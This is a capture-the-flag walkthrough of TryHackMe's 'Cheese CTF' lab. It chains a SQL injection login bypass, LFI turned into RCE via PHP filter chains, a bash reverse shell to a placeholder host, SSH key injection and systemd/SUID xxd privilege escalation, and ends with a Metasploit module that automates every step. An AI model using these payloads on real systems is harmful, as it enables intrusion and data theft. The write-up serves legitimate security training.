Passing the TryHackMe ‘Cheese CTF’ challenge what inspired by the great cheese talk of THM :)

Start machine#

Main page of the Cheese CTF site

Main page of the Cheese CTF site

After starting the machine, we can open a web page hosted on port 80.

There is nothing interesting on the site except the login page and fuzzing a web directories also didn’t give any results.

The authors of the task clearly hint that we should be interested in the login page, and not something else :)

Port scanning#

I’m start port scanning.

The machine has all ports open, but I check version of SSH and WebServer, just in case, although we have already been hinted more than once that this is not something that should interest us :)

❯ nmap -A -p22,80 10.10.192.21  -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 16:40 UTC
Nmap scan report for 10.10.192.21
Host is up (0.32s latency).

PORT   STATE    SERVICE VERSION
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b1:c1:22:9f:11:10:5f:64:f1:33:72:70:16:3c:80:06 (RSA)
|   256 6d:33:e3:bd:70:62:59:93:4d:ab:8b:fe:ef:e8:a7:b2 (ECDSA)
|_  256 89:2e:17:84:ed:48:7a:ae:d9:8c:9b:a5:8e:24:04:bd (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: The Cheese Shop
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.35 seconds

Login page#

Login page of the Cheese CTF site

Login page of the Cheese CTF site

The login page can’t content any interesting things exept the login form.

I started brute force for admin user by rockyou word list, most likely it doesn’t give any result, but let it do in the background (spoiler, no sence).

❯ hydra -l admin -P ~/SecLists/Passwords/Leaked-Databases/rockyou.txt \
10.10.149.179 http-post-form "/login.php:username=^USER^&password=^PASS^:fail" -V

Ok. In parallel with brute force, I check the possibility of executing SQLi in the login form.

After few attempts, I get server response with redirect to /script.php?file=supersecretadminpanel.html

❯ curl -XPOST -v "http://10.10.192.21/login.php" \     
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' OR 'quack'='quack'#;&password=1"

* Trying 10.10.192.21:80...
* Connected to 10.10.192.21 (10.10.192.21) port 80
* using HTTP/1.x
> POST /login.php HTTP/1.1
> Host: 10.10.192.21
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 42 bytes
< HTTP/1.1 302 Found
< Location: script.php?file=adminpanel.html
< Content-Length: 792
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
...

Go to web browser/Burp and bypass authentication using this SQLi.



Admin page of the Cheese CTF site

Admin page of the Cheese CTF site

There is nothing interesting here.

But, the URL /script.php?file=adminpanel.html looks like as LFI.

❯ curl http://10.10.192.21/script.php?file=/etc/passwd

root:x:0:0:root:/root:/bin/bash
...
comte:x:1000:1000:comte:/home/comte:/bin/bash

Yes, the query returned me the contents of the /etc/passwd file.

Theoretically, we could have a potential RCE here and it could give me a reverse shell and considering that we need a user and root flags, then most likely this is the direction we need to go.

See LFI and PHP? Try using PHP Filter Chain. :)

Not bad article by theme

I generated a simple phpinfo payload to check for the vulnerability present, use the php_filter_chain_generator tool fot this:

❯ python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>' | grep "^php" > /tmp/payload
Output example
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|....|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

And make a request via curl with the generated payload as the value of the file= parameter:

❯ curl "http://10.10.192.21/secret.php?file=$(cat /tmp/payload)"

....
</style>
<title>PHP 7.4.3-4ubuntu2.20 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
<body><div class="center">
<table>
<tr class="h"><td>
...

The server return a standard PHP Info page and with high probability we can get a reverse shell using this vulnerability, let’s try to do this.

Generate a reverse shell payload:

# Replace YOUR_IP and PORT
❯ python3 php_filter_chain_generator.py \
  --chain "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1'\"); ?>" | grep "^php" > /tmp/payload
Output example
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|....|convert.base64-decode/resource=php://temp

Start netcat on your machine:

❯ netcat -nvlp 4444

And make a request to the vulnerable script, with an encoded reverse shell payload as the file= parameter value:

❯ curl "http://10.10.192.21/secret.php?file=$(cat /tmp/payload)"

Good news - we got a remote shell on the machine

❯ netcat -nvlp 4444
Connection from 10.10.192.21:33494
bash: cannot set terminal process group (825): Inappropriate ioctl for device
bash: no job control in this shell

Let’s check who we are:

www-data@cheesectf:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Not root, so we have to find a way to escalate privileges. :)

www-data@cheesectf:/var/www/html$ ls -la
total 56
drwxr-xr-x 3 root root 4096 Sep 27  2023 .
drwxr-xr-x 3 root root 4096 Sep 27  2023 ..
-rw-r--r-- 1 root root  562 Sep 13  2023 adminpanel.css
drwxr-xr-x 2 root root 4096 Sep 27  2023 images
-rw-r--r-- 1 root root 1759 Sep 10  2023 index.html
-rw-r--r-- 1 root root  966 Sep 10  2023 login.css
-rw-r--r-- 1 root root 2391 Sep 16  2023 login.php
-rw-r--r-- 1 root root  448 Sep 13  2023 messages.html
-rw-r--r-- 1 root root  380 Sep 13  2023 orders.html
-rw-r--r-- 1 root root  113 Sep 11  2023 secret.php
-rw-r--r-- 1 root root  705 Sep 10  2023 style.css
-rw-r--r-- 1 root root  808 Sep 13  2023 supersecretadminpanel.html
-rw-r--r-- 1 root root   25 Sep 13  2023 supersecretmessageforadmin
-rw-r--r-- 1 root root  377 Sep 13  2023 users.html
www-data@cheesectf:/var/www/html$ cat supersecretmessageforadmin
If you know, you know :D

Great, now I have something to cover a flags in the article, but this doesn’t bring us any closer to the goal :)

All files have read-only permission for our user and we can’t do anything here.

From our experiments with LFI above we know that we have the comte user.

comte:x:1000:1000:comte:/home/comte:/bin/bash
www-data@cheesectf:/var/www/html$ ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Sep 27  2023 .
drwxr-xr-x 19 root  root  4096 Sep 27  2023 ..
drwxr-xr-x  7 comte comte 4096 Apr  4  2024 comte
www-data@cheesectf:/home$ ls -la comte
total 52
drwxr-xr-x 7 comte comte 4096 Apr  4  2024 .
drwxr-xr-x 3 root  root  4096 Sep 27  2023 ..
-rw------- 1 comte comte   55 Apr  4  2024 .Xauthority
lrwxrwxrwx 1 comte comte    9 Apr  4  2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25  2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27  2023 .cache
drwx------ 3 comte comte 4096 Mar 25  2024 .gnupg
drwxrwxr-x 3 comte comte 4096 Mar 25  2024 .local
-rw-r--r-- 1 comte comte  807 Feb 25  2020 .profile
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .ssh
-rw-r--r-- 1 comte comte    0 Sep 27  2023 .sudo_as_admin_successful
drwx------ 3 comte comte 4096 Mar 25  2024 snap
-rw------- 1 comte comte 4276 Sep 15  2023 user.txt

Great, we can read comte user’s home directory, but we can’t read the user flag, anyway we need to raise our privileges to comte user or root.

Let’s list files of the user .ssh directory, maybe we can find the ssh private key there:

www-data@cheesectf:/home$ ls -la comte/.ssh
total 8
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .
drwxr-xr-x 7 comte comte 4096 Apr  4  2024 ..
-rw-rw-rw- 1 comte comte    0 Mar 25  2024 authorized_keys

No, we didn’t find the private ssh key, but we did find another great news - we have write access to the authorized_keys file of the comte user. We can write our public key there and use it to access the machine via SSH.

Generating a new SSH key and write it to the authorized_keys file of the comte user:

❯ ssh-keygen -t ed25519 -f /tmp/ctf
❯ cat /tmp/ctf.pub

ssh-ed25519 AAAAC3Nza.......TQR6ay4dLaJZRY1QHY
www-data@cheesectf:/home$ echo 'ssh-ed25519 AAAAC3Nza.......TQR6ay4dLaJZRY1QHY' > /home/comte/.ssh/authorized_keys

Trying to connect to the machine via SSH and with our SSH private key:

❯ ssh [email protected] -i /tmp/ctf
comte@cheesectf:~$
comte@cheesectf:~$ id
uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)

Great, we escalate our privileges to the comte user and get a full terminal as bonus :)

We can get the first flag user.txt

comte@cheesectf:~/$ cat user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


THM{ if you know, you know :D }

Next step - we should to escalate our privileges to the root user and get root.txt flag from the root user home directory.

We can use linpeas.sh to scan and find missconfig, but that’s not interesting, let’s try manually :)

Let’s see what we can use via sudo:

comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

Hmm. We can manage one of systemd services exploit.

Let’s to see on the exploit.service file content, this service is triggering via exploit.timer:

comte@cheesectf:~$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

This looks like our way to escalate privileges and get the root flag.

This service run the command /bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd, copies xxd binary file to the /opt directory and set the SUID bit for this file, since the systemd serivces runs from root user by default, we get the xxd tool what we can use with root user privelegies.

But we can’t run this service directly, we have to use exploit.timer for that. Let’s run exploit.timer:

comte@cheesectf:~$ sudo /bin/systemctl start exploit.timer
Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.

And we get an error when trying to start the timer.

Let’s show the exploit.timer config:

comte@cheesectf:~$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=

[Install]
WantedBy=timers.target

We see a missconfig for the OnBootSec parameter, it can’t have an empty value.

And we can edit this file?

comte@cheesectf:~$ ls -la /etc/systemd/system/exploit*
-rw-r--r-- 1 root root 141 Mar 29  2024 /etc/systemd/system/exploit.service
-rwxrwxrwx 1 root root  87 Mar 29  2024 /etc/systemd/system/exploit.timer

Yes, this file has write permission for everyone.

Where looking the administrator who configure this server? :)

OK, fix it:

sed -i 's/^OnBootSec=/OnBootSec=1/g' /etc/systemd/system/exploit.timer

And try again:

comte@cheesectf:~$ sudo /bin/systemctl start exploit.timer

This time the timer starts without any errors.

And the service also successfully completed its job and copied the xxd file to the /opt directory with the SUID bit.

comte@cheesectf:~/$ ls -la
total 28
drwxr-xr-x  2 root root  4096 Apr 29 17:43 .
drwxr-xr-x 19 root root  4096 Sep 27  2023 ..
-rwsr-sr-x  1 root root 18712 Apr 29 17:43 xxd
xxd is?
xxd creates a hex dump of a given file or standard input.
It can also convert a hex dump back to its original binary form.
Like uuencode(1) and uudecode(1) it allows the transmission of binary data in a
`mail-safe' ASCII representation, but has the advantage of decoding to standard output.
Moreover, it can be used to perform binary file patching.

https://man.archlinux.org/man/xxd.1.en

Since we have xxd with the SUID bit, we can read the /root/root.txt file and get the latest flag.

Let’s do that:

comte@cheesectf:~/$ /opt/xxd /root/root.txt | /opt/xxd -revert
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{ if you know, you know :D }

What happened?

We just read the file /root/root.txt with the xxd tool and redirect the output to another xxd to convert the output of the first xxd to plain text from HEX.

You can get a root shell by adding your SSH key to the /root/.ssh/authorized_keys file and connect via SSH:

echo 'ssh-ed25519 AAAAC3Nza...' | \
     xxd | /opt/xxd -r - /root/.ssh/authorized_keys

Bonus#

Metasploit exploit
# TryHackMe
# Cheese CTF

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::PhpFilterChain

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH

  attr_accessor :ssh_socket

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cheese CTF',
        'Description' => %q{
          This exploit for Cheese CTF challenge of TryHackMe platform.
        },
        'License' => "MIT",
        'Author' => [],
        'References' => [
          [ 'URL', 'https://tryhackme.com/room/cheesectfv10']
        ],
        'Platform' => ['unix'],
        'Privileged' => true,
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2025-05-01',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('SSH_PUBLIC_KEY_PATH', [ true, 'Path to SSH public key file']),
        OptString.new('SSH_PRIVATE_KEY_PATH', [ true, 'Path to SSH private key file'])
      ]
    )
    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  # Vuln system user
  def normal_user
    'comte'
  end

  # Root user
  def root_user
    'root'
  end

  # Path to private ssh key
  def private_key_path
    datastore['SSH_PRIVATE_KEY_PATH']
  end

  # path to public ssh key
  def public_key_path
    datastore['SSH_PUBLIC_KEY_PATH']
  end

  # PHP admin page RCE payload
  def php_admin_payload
    
    public_key = File.read public_key_path
    generate_php_filter_payload(
      "<?php $fp = fopen('/home/#{normal_user}/.ssh/authorized_keys', 'a');  fwrite($fp, '#{public_key}'.PHP_EOL); ?>"
    )
  end

  # SSH connection
  def ssh_connection(user, private_key_file_path)

    private_key = File.read private_key_file_path
    
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: 22,
      key_data: [ private_key ]
    })

    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']

    begin
      self.ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        self.ssh_socket = Net::SSH.start(datastore['RHOST'], user, opt_hash)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
    true
  end

  # Executing a command over an SSH connection
  def ssh_execute_command(cmd, opts = {})
    vprint_status("Executing #{cmd}")
    begin
      Timeout.timeout(datastore['SSH_TIMEOUT']) { ssh_socket.exec!(cmd) }
    rescue Timeout::Error
      print_warning('Timed out while waiting for command to return')
      @timeout = true
    end
  end
    
  # Checks  
  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.php'),
      'method' => 'GET'
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
    CheckCode::Safe
  end

  # Exploitation
  def exploit
    # Bypass login and get admin page url
    print_status('Attempting login bypass')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.php'),
      'method' => 'POST',
      'keep_cookies' => false,
      'vars_post' => {
        'username' => "' OR 'quack'='quack'#;",
        'password' => 'password'
      },
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302


    # Use PHP Filter Chain for add own SSH public key to the `comte` user authorized_keys
    print_status("Attempting add ssh key for user #{normal_user}")
 
    # extract admin page url from a Location header
    vuln_page = res.headers['Location'].match /(.*)\?/
 
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, vuln_page[1]),
      'method' => 'GET',
      'vars_get' =>
      {
        'file' => "#{php_admin_payload}"
      }
    })

    
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302


    # Attempting connect via SSH 
    print_status('Attempting connect via SSH')

    conn = ssh_connection(normal_user, private_key_path)

    if target.name == 'Interactive SSH'
      handler(ssh_socket)
      return
    end
    
    if conn

      # Get user flag
      print_status 'Get user flag'
      user_flag = ssh_execute_command("/usr/bin/cat /home/#{normal_user}/user.txt").match /^THM.*$/
      print_good("User flag: #{user_flag}")

      # Get root flag
      print_status("Get root flag")

      ## Patch exploit.timer
      print_status("Patch systemd exploit.timer")
      ssh_execute_command("/usr/bin/sed 's/^OnBootSec=/OnBootSec=1/g' /etc/systemd/system/exploit.timer > /tmp/exploit.timer && cat /tmp/exploit.timer > /etc/systemd/system/exploit.timer")

      ## Reload systemd daemons
      print_status("Reload SystemD daemons")
      ssh_execute_command("sudo /bin/systemctl daemon-reload")

      ## Start exploit.timer
      print_status("Start exploit.timer")
      ssh_execute_command("sudo /bin/systemctl start exploit.timer")

      ## Get root flag
      print_status("Get root flag")
      root_flag = ssh_execute_command("/opt/xxd /root/root.txt | /opt/xxd -revert").match /^THM.*$/
      print_good("Root flag: #{root_flag}")
      return
    end

  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

end